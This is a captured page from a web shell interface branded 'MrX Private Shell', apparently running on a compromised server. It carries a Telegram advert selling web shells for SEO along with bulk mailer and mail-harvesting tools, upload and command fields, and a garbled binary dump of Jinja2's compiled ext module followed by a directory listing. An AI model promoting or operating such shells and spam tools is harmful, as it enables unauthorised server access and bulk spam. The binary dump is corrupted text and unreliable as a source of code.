__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�|��X�%SrSSKrSSKrSSKrSSKJr SSKJr SSKJ	r	 SSK
Jr SSKJ
r
 SS	KJr SS
KJr SSKJr SSKJr SS
KJr SSKJr \R,(aGSSKrSSKJr SSKJr SSKJr "SS\R<5r"SS\5r \RB\\ 4r"Sr#\RH\%S4\&S'\RN"S5r("SS5r)\S\S\RTS\RTS\RB\RT\44S j5r+S!\RX\%/\%4S\RXS\%44S"jr-S!\RX\%\%\./\%4S\RXS\%44S#jr/S!\RX\%\%/\%4S\RXS\%44S$jr0S!\RX\%\%\%\./\%4S\RXS\%44S%jr1"S&S'\)5r2"S(S)\)5r3"S*S+\)5r4"S,S-\)5r5\#S.4S/\	RlS0\Rn\%S1\8S\Rr\RH\.\%\RB\Rt\%\RH\Rt\%S4444S2jjr;"S3S45r<S5\RzS6\Rn\%S7\Rn\%S8\R|\%\RT4S\Rr\RH\.\%\RB\Rt\%\RH\Rt\%S44\R~\%44
S9jr@\2rA\3rB\4rC\5rDg):z2Extension API for adding custom tags and behavior.�N)�Markup�)�defaults)�nodes)�Environment)�TemplateAssertionError)�TemplateSyntaxError)�concat)�Context)�	Undefined)�
import_string)�pass_context)�Token)�TokenStream)�Parserc�@�\rSrSrS\S\4SjrS\S\S\S\4SjrS	rg
)�_TranslationsBasic��message�returnc��g�N�)�selfrs  �,/usr/lib/python3/dist-packages/jinja2/ext.py�gettext�_TranslationsBasic.gettexts����singular�plural�nc��grr)rrr r!s    r�ngettext�_TranslationsBasic.ngettexts��rrN)	�__name__�
__module__�__qualname__�__firstlineno__�strr�intr#�__static_attributes__rrrrrs0��3�3�3�3�3�	�S�	�#�	�#�	�#�	rrc
�H�\rSrSrS\S\S\4SjrS\S\S\S\S\4
S	jrS
rg)�_TranslationsContext�!�contextrrc��grr)rr/rs   r�pgettext�_TranslationsContext.pgettext"s��srrr r!c��grr)rr/rr r!s     r�	npgettext�_TranslationsContext.npgettext$s��rrN)	r%r&r'r(r)r1r*r4r+rrrr-r-!sA��B�C�B�#�B�#�B�	��	�*-�	�7:�	�?B�	�
�	rr-)�_rr#r1r4.�GETTEXT_FUNCTIONSz\s*\n\s*c�J�\rSrSr%Sr\R\\S'S Sjr	\
"5r\R\\S'Sr
S	\SS4S
jrS	\SS4SjrS!S
\S\R"\S\R"\S\4SjjrSSS\R&S\R(S44SjrSSS\R&\R.\R0\R.44SjrS!S\S\R"\S\R64SjjrS"S\S\R"\R0\R:S\R"\R0\R<S\R"\R:S\R"\R:S\R"\S\R>4Sjjr Sr!g)#�	Extension�7a+Extensions can be used to add extra functionality to the Jinja template
system at the parser level.  Custom extensions are bound to an environment
but may not store environment specific data on `self`.  The reason for
this is that an extension can be bound to another environment (for
overlays) by creating a copy and reassigning the `environment` attribute.

As extensions are created by the environment they cannot accept any
arguments for configuration.  One may want to work around that by using
a factory function, but that is not possible as extensions are identified
by their import name.  The correct way to configure the extension is
storing the configuration values on the environment.  Because this way the
environment ends up acting as central configuration storage the
attributes may clash which is why extensions have to ensure that the names
they choose for configuration are not too generic.  ``prefix`` for example
is a terrible name, ``fragment_cache_prefix`` on the other hand is a good
name as includes the name of the extension (fragment cache).
�
identifierrNc�D�URSUR3Ulg)N�.)r&r%r;)�clss r�__init_subclass__�Extension.__init_subclass__Ls���N�N�+�1�S�\�\�N�;��r�tags�d�environmentc��Xlgr�rC)rrCs  r�__init__�Extension.__init__Ys��&�rzte.Selfc��[RUR5nURR	UR5 XlU$)z=Create a copy of this extension bound to another environment.)�object�__new__�	__class__�__dict__�updaterC)rrC�rvs   r�bind�Extension.bind\s4��
�^�^�D�N�N�
+��
�����4�=�=�)�$���	r�source�name�filenamec��U$)z�This method is called before the actual lexing and can be used to
preprocess the source.  The `filename` is optional.  The return value
must be the preprocessed source.
r)rrQrRrSs    r�
preprocess�Extension.preprocesscs	���
r�streamrrc��U$)z�It's passed a :class:`~jinja2.lexer.TokenStream` that can be used
to filter tokens returned.  This method has to return an iterable of
:class:`~jinja2.lexer.Token`\s, but it doesn't have to return a
:class:`~jinja2.lexer.TokenStream`.
r)rrWs  r�
filter_stream�Extension.filter_streamls	���
r�parserrc��[5e)z�If any of the :attr:`tags` matched this method is called with the
parser as first argument.  The token the parser stream is pointing at
is the name token that matched.  This method has to return one or a
list of multiple nodes.
)�NotImplementedError)rr[s  r�parse�Extension.parsevs
��"�#�#r�linenoc�@�[R"URXS9$)z�Return an attribute node for the current extension.  This is useful
to pass constants on extensions to generated template code.

::

    self.attr('_my_attribute', lineno=lineno)
�r`)r�ExtensionAttributer;)rrRr`s   r�attr�Extension.attr~s���'�'�����M�Mr�args�kwargs�dyn_args�
dyn_kwargsc	�b�Uc/nUc/n[R"URXS9UUUUUS9$)zcCall a method of the extension.  This is a shortcut for
:meth:`attr` + :class:`jinja2.nodes.Call`.
rb)r�Callrd)rrRrfrgrhrir`s       r�call_method�Extension.call_method�sF���<��D��>��F��z�z��I�I�d�I�*������

�	
rrE)rNr)NNNNN)"r%r&r'r(�__doc__�t�ClassVarr)�__annotations__r?�setrA�Set�priorityrrFrO�OptionalrU�Union�IterablerYr�Node�Listr^r*rcrd�Expr�Keywordrkrlr+rrrr9r97s����$�
�
�3���<��u�D�!�%�%��*���H�'�K�'�D�'����	��OS����!"���C���<=�J�J�s�O��	���#��	
�����
�
�7� 3�3�	4��$�H�$�������Q�V�V�E�J�J�=O�1O�)P�$�48�
N��
N�!"���C��
N�	�	!�	!�
N�04�48�+/�-1�"&�
��
��j�j�����
�
�+�,�
��
�
�1�6�6�%�-�-�0�1�	
�
�*�*�U�Z�Z�(�
��J�J�u�z�z�*�

��
�
�3��
�
���
�
rr9�	__contextrfrgrc�L�UR"URS5/UQ70UD6$)Nr)�call�resolve)r|rfrgs   r�_gettext_aliasr��s(���>�>�)�+�+�I�6�H��H��H�Hr�funcc	�n^�[S[S[S[RS[4U4Sjj5nU$)Nr|�__string�	variablesrc�|>�URTU5nURR(a[U5nX2-$r)r~�eval_ctx�
autoescaper)r|r�r�rNr�s    �rr�"_make_new_gettext.<locals>.gettext�s5���
�^�^�D�(�
+�����(�(����B��~�r�rrr)ro�Any)r�rs` r�_make_new_gettextr��s<�����7��c������#�����Nrc
�^�[S[S[S[S[S[R
S[4U4Sjj5nU$)Nr|�
__singular�__plural�__numr�rc�>�URSU5 URTXU5nURR(a[	U5nXT-$)N�num��
setdefaultr~r�r�r)r|r�r�r�r�rNr�s      �rr#�$_make_new_ngettext.<locals>.ngettext�sG���	���U�E�*�
�^�^�D�*��
>�����(�(����B��~�r�rrr)r*ror�)r�r#s` r�_make_new_ngettextr��sX������������	�
�U�U��

�
����Orc�z^�[S[S[S[S[RS[4
U4Sjj5nU$)Nr|�__string_ctxr�r�rc�>�URSU5 URTX5nURR(a[	U5nXC-$)Nr/r�)r|r�r�r�rNr�s     �rr1�$_make_new_pgettext.<locals>.pgettext�sG���	���Y��5�
�^�^�D�,�
9�����(�(����B��~�rr�)r�r1s` r�_make_new_pgettextr��sH����
��
�*-�
�9<�
�KL�5�5�
�	�
��
��Orc�^�[S[S[S[S[S[S[R
S[4U4Sjj5nU$)	Nr|r�r�r�r�r�rc��>�URSU5 URSU5 URTXX45nURR(a[	U5nXe-$)Nr/r�r�)r|r�r�r�r�r�rNr�s       �rr4�&_make_new_npgettext.<locals>.npgettext�sY���	���Y��5����U�E�*�
�^�^�D�,�H�
L�����(�(����B��~�rr�)r�r4s` r�_make_new_npgettextr��se������������	�
���U�U�
�

����$�rc�^�\rSrSrSrS1rS\SS4U4SjjrS(SS	S
\R\
SS4SjjrS(S
\R\
SS4SjjrS)S
\R\/\4S\R\\\/\4S
\R\
S\R\R\\/\4S\R\R\\\\/\4SS4SjjrS*Sjr\4S\R&\\R*4S\R,\S\R.\R0\\\R&\R\\R0\R\S4444SjjrSSS\R&\R4\R6\R444Sjr\4S\S\R<\S\4SjjrSSS\
S\R0\R6\\44Sjr S\S \R\S!\R\S"\RB\\RD4S#\R\RDS$\
S%\
S\RF4S&jr$S'r%U=r&$)+�InternationalizationExtension�z-This extension adds gettext support to Jinja.�transrCrNc	��>�[TU]U5 [URS'UR	UR
URURURURSS9 g)Nr6F)�install_gettext_translations�install_null_translations�install_gettext_callables�uninstall_gettext_translations�extract_translations�newstyle_gettext)
�superrFr��globals�extend�_install�
_install_null�_install_callables�
_uninstall�_extract)rrCrKs  �rrF�&InternationalizationExtension.__init__s]���
����%�#1����C� ����)-���&*�&8�&8�&*�&=�&=�+/�?�?�!%���"�
	�	
r�translations�_SupportedTranslations�newstylec���[USS5nUcURn[USS5nUcURn[USS5n[USS5nURX4X%US9 g)N�ugettext�	ungettextr1r4)r�r1r4)�getattrrr#r�)rr�r�rr#r1r4s       rr��&InternationalizationExtension._installsw��
�,�
�D�9���?�"�*�*�G��<��d�;����#�,�,�H��<��T�:���L�+�t�<�	������y�	 �	
rc
�f�SSKnUR5n[US5(a
URnOS[S[S[4Sjn[US5(a
UR
nO#S[S[S[S	[S[4
S
jnURURURUUUS9 g)Nrr1�c�src��U$rr)r�r�s  rr1�=InternationalizationExtension._install_null.<locals>.pgettext*s���rr4�pr!c��US:XaU$U$)Nrr)r�r�r�r!s    rr4�>InternationalizationExtension._install_null.<locals>.npgettext1s����F�q�)��)r)rr#r�r1r4)	r�NullTranslations�hasattrr1r)r4r*r�r#)rr�rr�r1r4s      rr��+InternationalizationExtension._install_null s�����/�/�1���<��,�,�#�,�,�H�
�C�
�C�
�C�
��<��-�-�$�.�.�I�
*�S�
*�S�
*�S�
*�S�
*�S�
*�	
��� �(�(�!�*�*����	 �	
rrr#r1r4c��UbX0RlURR(a2[U5n[U5nUb[	U5nUb[U5nURRRXXES9 g�N)rr#r1r4)rCr�r�r�r�r�r�rM)rrr#r�r1r4s      rr��0InternationalizationExtension._install_callables<s}����08���-����,�,�'��0�G�)�(�3�H��#�-�h�7���$�/�	�:�	���� � �'�'���	(�	
rc�b�SH)nURRRUS5 M+ gr�)rCr��pop)rr��keys   rr��(InternationalizationExtension._uninstallTs)��C�C����$�$�(�(��d�3�DrrQ�gettext_functions.c�x�[U[5(aURRU5n[	X5$r)�
isinstancer)rCr^�extract_from_ast)rrQr�s   rr��&InternationalizationExtension._extractXs2���f�c�"�"��%�%�+�+�F�3�F���:�:rr[rc
�
�[UR5RnSnURRS5nUbURnSnSnSn0nSn	URR
RS:wGa�U(aURRS5 URRS5(aGO�URRS5n
U
RU;a.URSU
R<S	3U
R[S
9 URR
RS:Xa4[UR5 UR5=X�R'nOTU	c"U
RS;aU
RS
:Hn	GM?[R"U
RS5=X�R'nUc�[U[R5(aR[R"SS5nXXU
R'[R "[R"SS5U5nOUnU
RS:HnURR
RS:waGM�URRS5 SnSn
[#5nUR%US5unnU(a6UR'U5 Uc"[R"USS5nUSS:HnURR
R)S5(GaSn
[UR5 URR
RS:wavURRS5n
U
RU;a.URSU
R<S3U
R[S
9 X�RnU
RS:HnURRS5 UR%US5unn[UR5 UR'U5 O[UR5 UH%nUU;dM[R"US5UU'M' U
(dSnOUcURSU5 U	cUR*R,Sn	U	(a)UR/U5nU(aUR/U5nUR1UUUUU[3U5U=(a U
5nUR5U5 UbUU/$U$)zParse a translatable tag.N�stringF�	block_end�comma�colonrRztranslatable variable z defined twice.)�exc�assign)�trimmed�	notrimmedr��load�_trans�storer�Trzname:pluralizezunknown variable z for pluralizationzpluralize without variables�ext.i18n.trimmed)�nextrWr`�next_if�value�current�type�expect�skip_if�failr�parse_expressionr�Namer�rk�Assignrr�_parse_blockrM�testrC�policies�_trim_whitespace�
_make_node�bool�
set_lineno)rr[r`r/�
context_token�plural_expr�plural_expr_assignment�num_called_numr�r��token�varr �have_plural�
referenced�singular_namesr�plural_namesrR�nodes                    rr^�#InternationalizationExtension.parsecsD���f�m�m�$�+�+�����
�
�-�-�h�7�
��$�#�)�)�G�
/3��;?����-/�	����m�m�#�#�(�(�K�7���
�
�$�$�W�-��}�}�$�$�W�-�-���M�M�(�(��0�E��{�{�i�'����,�U�[�[�O�?�K��L�L�.����}�}�$�$�)�)�X�5��V�]�]�#�/5�/F�/F�/H�H�	�+�+�&����U�[�[�4L�%L��+�+��2���/4�z�z�%�+�+�v�/N�N�	�+�+�&���"��c�5�:�:�.�.�"'�*�*�X�v�">�K�-8�e�k�k�*�-2�\�\��
�
�8�W�5�s�.�*�#&�K�!&����!5��G�m�m�#�#�(�(�K�7�J	�
�
���[�)������U�
�$(�#4�#4�V�T�#B� �������n�-��"�#�j�j���):�F�C��!/��!2�e�!;���=�=� � �%�%�&6�7�7��K�������}�}�$�$�)�)�[�8��
�
�,�,�V�4���;�;�i�/��K�K�+�E�K�K�?�:L�M����2� ��
(���4��!&����!5���M�M� � ��-�#'�#4�#4�V�U�#C� �L�&���������l�+�������D��9�$�"'�*�*�T�6�":�	�$�����K�
�
 ��K�K�5�v�>��?��&�&�/�/�0B�C�G���,�,�X�6�H���.�.�v�6��������������*�{�
��	
�����!�-�*�D�1�1��Krr��_ws_rec�B�URSUR55$)N� )�sub�strip)rr�r�s   rr��.InternationalizationExtension._trim_whitespace�s���z�z�#�v�|�|�~�.�.r�allow_pluralizec�x�/n/nURRRS:XaVURURRRRSS55 [
UR5 GO�URRRS:Xa}[
UR5 URRS5RnURU5 URSUS35 URRS5 GOURRRS	:Xa�[
UR5 URRRS:Xa URRROS
nUS:XaO�US:XaU(aOzURS
5 OUS:XaURS5 URSUS35 O8URR(aURS5 O[S5eGM)U[U54$)z1Parse until the next block tag with a given name.�data�%�%%�variable_beginrRz%(z)s�variable_end�block_beginN�endtrans�	pluralizez:a translatable section can have only one pluralize sectionr�z6trans blocks can't be nested; did you mean `endtrans`?zBcontrol structures in translatable sections are not allowed; saw `�`zunclosed translation blockzinternal parser error)rWr�r��appendr��replacer�r�r��eos�RuntimeErrorr
)rr[rr��bufrR�
block_names       rr��*InternationalizationExtension._parse_block�s����
�����}�}�$�$�)�)�V�3��
�
�6�=�=�0�0�6�6�>�>�s�D�I�J��V�]�]�#����&�&�+�+�/?�?��V�]�]�#��}�}�+�+�F�3�9�9���!�!�$�'��
�
�R��v�R�=�)��
�
�$�$�^�4����&�&�+�+�}�<��V�]�]�#��}�}�,�,�1�1�V�;��M�M�)�)�/�/���
��+���;�.�&���K�K�T�� �7�*��K�K�P������&�<�q�*�����"�"����8�9�"�#:�;�;�I�L�6�#�;�&�&rrr r/r�r��vars_referencedr�c�
�URRnU(d2U(d+URSS5nU(aURSS5nSn	[R"U5/n
Ub+U
RS[R"U55 SU	3n	Ub,SU	3n	U
R
[R"U5U45 [R"[R"U	S5U
/SS5nU(aXUR5HCup�U(aUS	:XaMURR[R"X�55 ME O�[R"U5nU(aw[R"U[R"UR5VV
s/sH0up�[R "[R"U5U
5PM2 sn
n55n[R""U/5$s sn
nf)
z/Generates a useful node from the data provided.rrrNrr�r!r�r�)rCr�rr�Const�insertr�rkr��itemsrgrr{�MarkSafeIfAutoescape�Mod�Dict�Pair�Output)rrr r/r�r�rr�r��	func_name�	func_argsr�r�r�s              rr��(InternationalizationExtension._make_nodes����#�#�4�4��
�x��'�'��c�2�H������c�2���	�).���X�)>�(?�	������Q����G� 4�5��I�;��I��"��I�;��I����e�k�k�&�1�;�?�@��z�z�%�*�*�Y��7��B��d�S��
�'�o�o�/�
��"�c�U�l�����"�"�5�=�=��#<�=�0��-�-�d�3�D���y�y���J�J�/8�o�o�.?��.?�
��"�J�J�u�{�{�3�'7��?�.?������|�|�T�F�#�#��
s�%7G?rr)NNN)r�r�rN)'r%r&r'r(rnrArrFrorur�r�r��Callabler)r*r�r�r7rvr�Template�Sequence�Iterator�Tupler�rxryr^r��Patternr�r�rrzrr�r+�
__classcell__)rKs@rr�r��s����7��9�D�

�K�

�D�

�TX�
�4�
�@A�
�
�4�@P�
�	
�
�$
�a�j�j��&6�
�$�
�@&*�<@�GK�

����S�E�3�J�'�
��*�*�c�3��_�c�1�2�
��*�*�T�"�	
�
�*�*�Q�Z�Z��c�
�C��8�9�
��:�:�a�j�j�#�s�C��)=�s�)B�C�D�

�
�
�04�.?�	;�����U�^�^�+�,�	;��:�:�c�?�	;�
���	����S�!�'�'�!�*�*�S�/�1�7�7�1�:�:�c�?�C�;O�3P�"P�Q�Q�R�
�		;�x�H�x�������Q�V�V�E�J�J�=O�1O�)P�x�tFL�/�s�/�A�I�I�c�N�/�PS�/�-'��-'�15�-'�	
��������c�!�	"�-'�^<$��<$��
�
�3��<$����C��	<$�
�6�6�#�u�z�z�/�*�<$��Z�Z��
�
�+�
<$��<$��<$�
���<$�<$rr�c�D�\rSrSrSrS1rSSS\R4SjrSr	g	)
�ExprStmtExtensioniNzjAdds a `do` tag to Jinja that works like the print statement just
that it doesn't print the return value.
�dor[rrc��[R"[UR5RS9nUR5UlU$)Nrb)r�ExprStmtr�rWr`�parse_tupler�)rr[r�s   rr^�ExprStmtExtension.parseUs4���~�~�T�&�-�-�%8�%?�%?�@���&�&�(��	��rrN)
r%r&r'r(rnrArr.r^r+rrrr+r+Ns'���
�6�D��H�����rr+c�x�\rSrSrSrSS1rSSS\R\R\R44SjrS	rg
)�LoopControlExtensioni[z/Adds break and continue to the template engine.�break�continuer[rrc���[UR5nURS:Xa[R"UR
S9$[R"UR
S9$)Nr3rb)r�rWr�r�Breakr`�Continue)rr[r�s   rr^�LoopControlExtension.parse`sB���V�]�]�#���;�;�'�!��;�;�e�l�l�3�3��~�~�U�\�\�2�2rrN)
r%r&r'r(rnrArorvrr6r7r^r+rrrr2r2[s8��9��Z� �D�3�H�3�������e�n�n�1L�)M�3rr2c�V�\rSrSrSrS1rSSS\R4SjrS\	S\
4S	jrS
rg)�DebugExtensioniga�A ``{% debug %}`` tag that dumps the available variables,
filters, and tests.

.. code-block:: html+jinja

    <pre>{% debug %}</pre>

.. code-block:: text

    {'context': {'cycler': <class 'jinja2.utils.Cycler'>,
                 ...,
                 'namespace': <class 'jinja2.utils.Namespace'>},
     'filters': ['abs', 'attr', 'batch', 'capitalize', 'center', 'count', 'd',
                 ..., 'urlencode', 'urlize', 'wordcount', 'wordwrap', 'xmlattr'],
     'tests': ['!=', '<', '<=', '==', '>', '>=', 'callable', 'defined',
               ..., 'odd', 'sameas', 'sequence', 'string', 'undefined', 'upper']}

.. versionadded:: 2.11.0
�debugr[rrc���URRS5Rn[R"5nURSU/US9n[R"U/US9$)Nz
name:debug�_renderrb)rWr�r`r�ContextReferencerlr)rr[r`r/�results     rr^�DebugExtension.parse~sV�����%�%�l�3�:�:���(�(�*���!�!�)�g�Y�v�!�F���|�|�V�H�V�4�4rr/c��UR5[URRR	55[URR
R	55S.n[R"USSS9$)N)r/�filters�tests�T)�depth�compact)�get_all�sortedrCrB�keysrC�pprint�pformat)rr/r?s   rr=�DebugExtension._render�sb�����(��d�.�.�6�6�;�;�=�>��D�,�,�2�2�7�7�9�:�
���~�~�f�A�t�<�<rrN)
r%r&r'r(rnrArrr^rr)r=r+rrrr:r:gs:���(
�9�D�5�H�5����5�=�w�=�3�=rr:T�astr��babel_stylec#�z# �UR[R5GH�n[UR[R
5(aURRU;aMI/nURHon[U[R5(a<[UR[5(aURUR5 M^URS5 Mq URHnURS5 M URbURS5 URbURS5 U(d[SU55nU(dGMMO [!U5S:XaUSnO[U5nUR"URRU4v� GM� g7f)aWExtract localizable strings from the given template node.  Per
default this function returns matches in babel style that means non string
parameters as well as keyword arguments are returned as `None`.  This
allows Babel to figure out what you really meant if you are using
gettext functions that allow keyword arguments for placeholder expansion.
If you don't want that behavior set the `babel_style` parameter to `False`
which causes only strings to be returned and parameters are always stored
in tuples.  As a consequence invalid gettext calls (calls without a single
string parameter or string parameters after non-string parameters) are
skipped.

This example explains the behavior:

>>> from jinja2 import Environment
>>> env = Environment()
>>> node = env.parse('{{ (_("foo"), _(), ngettext("foo", "bar", 42)) }}')
>>> list(extract_from_ast(node))
[(1, '_', 'foo'), (1, '_', ()), (1, 'ngettext', ('foo', 'bar', None))]
>>> list(extract_from_ast(node, babel_style=False))
[(1, '_', ('foo',)), (1, 'ngettext', ('foo', 'bar'))]

For every string found this function yields a ``(lineno, function,
message)`` tuple, where:

* ``lineno`` is the number of the line on which the string was found,
* ``function`` is the name of the ``gettext`` function used (if the
  string was extracted from embedded Python code), and
*   ``message`` is the string, or a tuple of strings for functions
     with multiple string arguments.

This extraction function operates on the AST and is because of that unable
to extract any comments.  For comment support you have to use the babel
extraction interface or extract comments yourself.
Nc3�.# �UHocMUv� M
 g7frr)�.0�xs  r�	<genexpr>�#extract_from_ast.<locals>.<genexpr>�s���<�7�a���7�s��	rr)�find_allrrkr�r�r�rRrfrr�r)rrgrhri�tuple�lenr`)rMr�rNr��strings�argr6�outs        rr�r��s8���V���U�Z�Z�(���4�9�9�e�j�j�1�1��y�y�~�~�%6�6��+-���9�9�C��#�u�{�{�+�+�
�3�9�9�c�0J�0J����s�y�y�)����t�$�	����A��N�N�4� ���=�=�$��N�N�4� ��?�?�&��N�N�4� ���<�7�<�<�C�����7�|�q� ��a�j���G�n���k�k�4�9�9�>�>�3�.�.�C)�s�F9F;c���\rSrSrSrS\R\R\\	\	4S\R\	SS4Sjr
S\S\R\	4S	jrS
\S\R\	4Sjr
Srg)
�_CommentFinderi�z�Helper class to find comments in a token stream.  Can only
find comments for gettext calls forwards.  Once the comment
from line 4 is found, a comment for line 1 will not return a
usable value.
�tokens�comment_tagsrNc�8�XlX lSUlSUlg)Nr)r]r^�offset�last_lineno)rr]r^s   rrF�_CommentFinder.__init__�s����(�������rr`c�.�[URURU5HKup#nUS;dMURSS5upVXPR
;dM4UR
5/s Xl$ /Xl$![a Mdf=f!Xlf=f)N)�comment�linecommentr)�reversedr]r`�split�
ValueErrorr^�rstrip)rr`r6�
token_type�token_value�prefixrds       r�find_backwards�_CommentFinder.find_backwards�s���
	!�.6����D�K�K�&�1�/�*��{��!;�;�!�*5�*;�*;�D�!�*D����!2�!2�2� '��� 0�1�1�!�K�/�� �K��
&�!� �!��!�K�s:�,B�A;�
B�B�1B�;
B	�B�B	�	B�Br`c�:�UR(aURU:�a/$[URURS5H/unun nX1:�dMURURU-5s $ UR[
UR55$r)r^ra�	enumerater]r`rmrW)rr`�idx�token_linenor6s     r�
find_comments�_CommentFinder.find_comments�s���� � �D�$4�$4�v�$=��I�)2�4�;�;�t�{�{�}�3M�)N�%�C�%�,��1��$��*�*�4�;�;��+<�=�=�*O��"�"�3�t�{�{�#3�4�4r)r^rar`r])r%r&r'r(rnror%r'r*r)rFryrmrsr+rrrr\r\�s{�����j�j�����c�3��!7�8��HI�
�
�SV���	
��!�S�!�Q�V�V�C�[�!� 5�C�5�A�F�F�3�K�5rr\�fileobj�keywordsr^�optionsc#�# �0nURSS5RS5H*nUR5nU(dMSU[U5'M, [U;a	SU['SS[
R[[4S[S[S	[4S
jjnU"USS5n[URS
[R5URS[R5URS[R5URS[R5URS[R5URS[R 5URS5=(d [R"URS5=(d [R$U"US[R&5U"US[R(5[R*U"US[R,5[/U5SSS9nU"US5(aSUR0S'U"US5(aSUlUR55R7URSS55n	UR9U	5n
[;UR=UR?U	555n[CX�5n[EX�5Hup�nX�X�RGU
54v� M g![@a U(degf=f7f) a�Babel extraction method for Jinja templates.

.. versionchanged:: 2.3
   Basic support for translation comments was added.  If `comment_tags`
   is now set to a list of keywords for extraction, the extractor will
   try to find the best preceding comment that begins with one of the
   keywords.  For best results, make sure to not have more than one
   gettext call in one line of code and the matching comment in the
   same line or the line before.

.. versionchanged:: 2.5.1
   The `newstyle_gettext` flag can be set to `True` to enable newstyle
   gettext calls.

.. versionchanged:: 2.7
   A `silent` option can now be provided.  If set to `False` template
   syntax errors are propagated instead of being ignored.

:param fileobj: the file-like object the messages should be extracted from
:param keywords: a list of keywords (i.e. function names) that should be
                 recognized as translation functions
:param comment_tags: a list of translator tags to search for and include
                     in the results.
:param options: a dictionary of additional options (optional)
:return: an iterator over ``(lineno, funcname, message, comments)`` tuples.
         (comments will be empty currently)
�
extensions��,NFrwr��defaultrc�Z�URU[U55R5S;$)N>�1�on�yes�true)�getr)�lower)rwr�r|s   r�getbool�babel_extract.<locals>.getbool8s&���{�{�3��G��-�3�3�5�9S�S�Sr�silentT�block_start_string�block_end_string�variable_start_string�variable_end_string�comment_start_string�comment_end_string�line_statement_prefix�line_comment_prefix�trim_blocks�
lstrip_blocks�keep_trailing_newliner)�
cache_size�auto_reloadr�r�r��encodingzutf-8)F)$r�rgrr
r�ro�Mappingr)r�rr�BLOCK_START_STRING�BLOCK_END_STRING�VARIABLE_START_STRING�VARIABLE_END_STRING�COMMENT_START_STRING�COMMENT_END_STRING�LINE_STATEMENT_PREFIX�LINE_COMMENT_PREFIX�TRIM_BLOCKS�
LSTRIP_BLOCKS�NEWLINE_SEQUENCE�KEEP_TRAILING_NEWLINErVr�r��read�decoder^�list�lexrUr	r\r�rs)rurvr^rwry�extension_namer�r�rCrQr�r]�finderr`r�rs                r�
babel_extractr�s����J35�J�!�+�+�l�B�7�=�=�c�B��'�-�-�/����48�
�=��0�1�
C�%�J�6�48�
�0�1�T����3��8�,�T�3�T��T�RV�T��W�h��
-�F�����(�(�*E�*E�F����&��(A�(A�B����+�X�-K�-K�L����)�8�+G�+G�H����*�H�,I�,I�J����(�(�*E�*E�F����+�,�N��0N�0N����)�*�J�h�.J�.J�����(<�(<�=����(�*@�*@�A��!�!���0�(�2P�2P�Q�
�j�����K�$�w�	�"�"�37����/�0��w�*�+�+�'+��$�
�\�\�^�
"�
"�7�;�;�z�7�#C�
D�F��� � ��(���k�o�o�k�&<�&<�V�&D�E�F���F�
1�F�!1�$�!A���g��G�%9�%9�&�%A�A�A�"B�������	�s*�I6L�9:K)�36L�)K>�;L�=K>�>L)ErnrJ�re�typingro�
markupsaferrzrrrCr�
exceptionsrr	�runtimer
rr�utilsr
r�
TYPE_CHECKING�typing_extensions�te�lexerrrr[r�Protocolrr-rvr�r7r'r)rq�compiler�r9r�r�r#r�r*r�r�r�r�r+r2r:r$r%r�r&rur�r\�BinaryIOrryr��i18nr,�loopcontrolsr;rrr�<module>r�sp��8�
�	�����$�.�+���� ���?�?�"��"���R�[�[���1���W�W�%7�9M�%M�N��
(��1�7�7�3��8�$��
���K�	 ��j
�j
�Z�I��I� �u�u�I�01���I��W�W�Q�U�U�I�
��I��I��A�J�J��u�c�z�2��q�z�z�#�s�(�7K���Q�Z�Z��c�3���(<�=��!�*�*�S�RU�X�BV��&�Q�Z�Z��c�
�C��8��Q�Z�Z��S��=Q��"�
�*�*�c�3��S�)�3�.�
/���Z�Z��S����2U$�I�U$�p

�	�
�	3�9�	3�%=�Y�%=�T*;��L/�	���L/��z�z�#��L/��L/��Z�Z��G�G�C��a�g�g�a�j�j��o�q�w�w�q�z�z�#���7K�/L�L�M�M�N��	L/�^%5�%5�PYB�
�Z�Z�YB��j�j��o�YB��*�*�S�/�YB��V�V�C����J�
�	YB�
�Z�Z��G�G��S�!�'�'�!�*�*�S�/�1�7�7�1�:�:�c�?�C�3G�+H�H�I�1�6�6�RU�;�V���YB�z%����#���r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.58 KB 0644
_identifier.cpython-313.pyc File 2.04 KB 0644
async_utils.cpython-313.pyc File 4.91 KB 0644
bccache.cpython-313.pyc File 18.89 KB 0644
compiler.cpython-313.pyc File 103.15 KB 0644
constants.cpython-313.pyc File 1.48 KB 0644
debug.cpython-313.pyc File 6.39 KB 0644
defaults.cpython-313.pyc File 1.54 KB 0644
environment.cpython-313.pyc File 73.04 KB 0644
exceptions.cpython-313.pyc File 7.8 KB 0644
ext.cpython-313.pyc File 41.17 KB 0644
filters.cpython-313.pyc File 69.67 KB 0644
idtracking.cpython-313.pyc File 18.92 KB 0644
lexer.cpython-313.pyc File 31.82 KB 0644
loaders.cpython-313.pyc File 31.57 KB 0644
meta.cpython-313.pyc File 5.42 KB 0644
nativetypes.cpython-313.pyc File 6.97 KB 0644
nodes.cpython-313.pyc File 58.63 KB 0644
optimizer.cpython-313.pyc File 2.68 KB 0644
parser.cpython-313.pyc File 60.26 KB 0644
runtime.cpython-313.pyc File 47.77 KB 0644
sandbox.cpython-313.pyc File 17.88 KB 0644
tests.cpython-313.pyc File 8.67 KB 0644
utils.cpython-313.pyc File 34.12 KB 0644
visitor.cpython-313.pyc File 5.29 KB 0644
Filemanager